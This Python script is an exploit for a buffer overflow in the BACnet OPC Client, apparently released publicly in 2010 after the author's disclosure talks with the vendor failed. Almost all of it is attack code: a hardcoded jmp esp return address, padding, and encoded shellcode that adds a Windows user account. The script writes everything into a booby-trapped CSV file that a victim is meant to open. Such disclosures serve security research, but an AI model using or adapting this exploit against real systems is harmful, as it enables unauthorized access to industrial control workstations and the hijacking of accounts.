#!/usr/bin/python # bacnet.py # BACnet OPC Client Buffer Overflow Exploit # Jeremy Brown [0xjbrown41-gmail-com] # Sept 2010 # # After communicating via several emails with the vendor, sharing details # about the vulnerability, as well as proof-of-concept code (I also offered # to send the exploit code for them to test themselves). But it was clear that # they weren't very interested in fixing the vulnerability. They even ended our # conversation with "Hi Jeremy, thanks but please don't waste my time.", and # quickly became unresponsive to further communication. A couple days later, I # notified them know of my plans to release exploit code to the public, proving # the vulnerability, since they weren't planning on releasing a fix. They didn't # respond with anything indicating plans for an update, so maybe this will help. # # If you are a customer (they seem to care much more about your concerns), I would # suggest contacting support at scadaengine.com and ask them to issue a fix. # # Successfully tested on Windows XP Service Pack 3 with BACnet OPC CLient 1.0.24 # import sys import struct ret=0x7C96BF33 # jmp esp @ user32.dll junk="B"*185 # win32_adduser - PASS=ware EXITFUNC=thread USER=sploit Size=497 Encoder=PexAlphaNum payload=( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54" "\x42\x30\x42\x50\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x37" "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x51\x4b\x58" "\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x38" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c" "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x57\x45\x4e\x4b\x58" "\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54" "\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48" "\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57" "\x4e\x30\x4b\x58\x42\x54\x4e\x30\x4b\x58\x42\x47\x4e\x31\x4d\x4a" "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b" "\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x36\x4e\x43\x4f\x55\x41\x43" "\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57" "\x42\x35\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x36\x4a\x46\x4a\x49" "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x36" "\x46\x56\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x32\x4f\x42\x43\x56" "\x42\x42\x50\x36\x45\x36\x46\x57\x42\x52\x45\x57\x43\x47\x45\x36" "\x44\x37\x42\x32\x43\x47\x42\x57\x4e\x36\x4f\x46\x49\x36\x46\x57" "\x42\x32\x47\x37\x41\x46\x44\x57\x45\x46\x42\x42\x4f\x42\x41\x34" "\x46\x34\x46\x44\x42\x32\x48\x42\x48\x42\x42\x52\x50\x36\x45\x56" "\x46\x47\x42\x42\x4e\x46\x4f\x56\x43\x46\x41\x36\x4e\x56\x47\x56" "\x44\x47\x4f\x36\x45\x47\x42\x37\x42\x42\x41\x54\x46\x56\x4d\x36" "\x49\x46\x50\x56\x49\x36\x43\x47\x46\x47\x44\x57\x41\x56\x46\x57" "\x4f\x46\x44\x47\x43\x37\x42\x42\x43\x47\x42\x47\x4e\x46\x4f\x36" "\x49\x46\x46\x47\x42\x32\x4f\x32\x41\x34\x46\x34\x46\x34\x42\x50" "\x5a" ) csv1="OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"; csv2="\\scada,0,0,\n"; if len(sys.argv)<2: print "Usage: "+sys.argv[0]+" <filename.csv>" sys.exit(0) file=sys.argv[1] retaddr=struct.pack("<L",ret) csv=csv1+junk+retaddr+"X"*4+payload+csv2 try: f=open(file,"w") f.write(csv) f.close() except IOError,e: print e else: print "Open %s in the OPC client to exploit the vulnerability." % file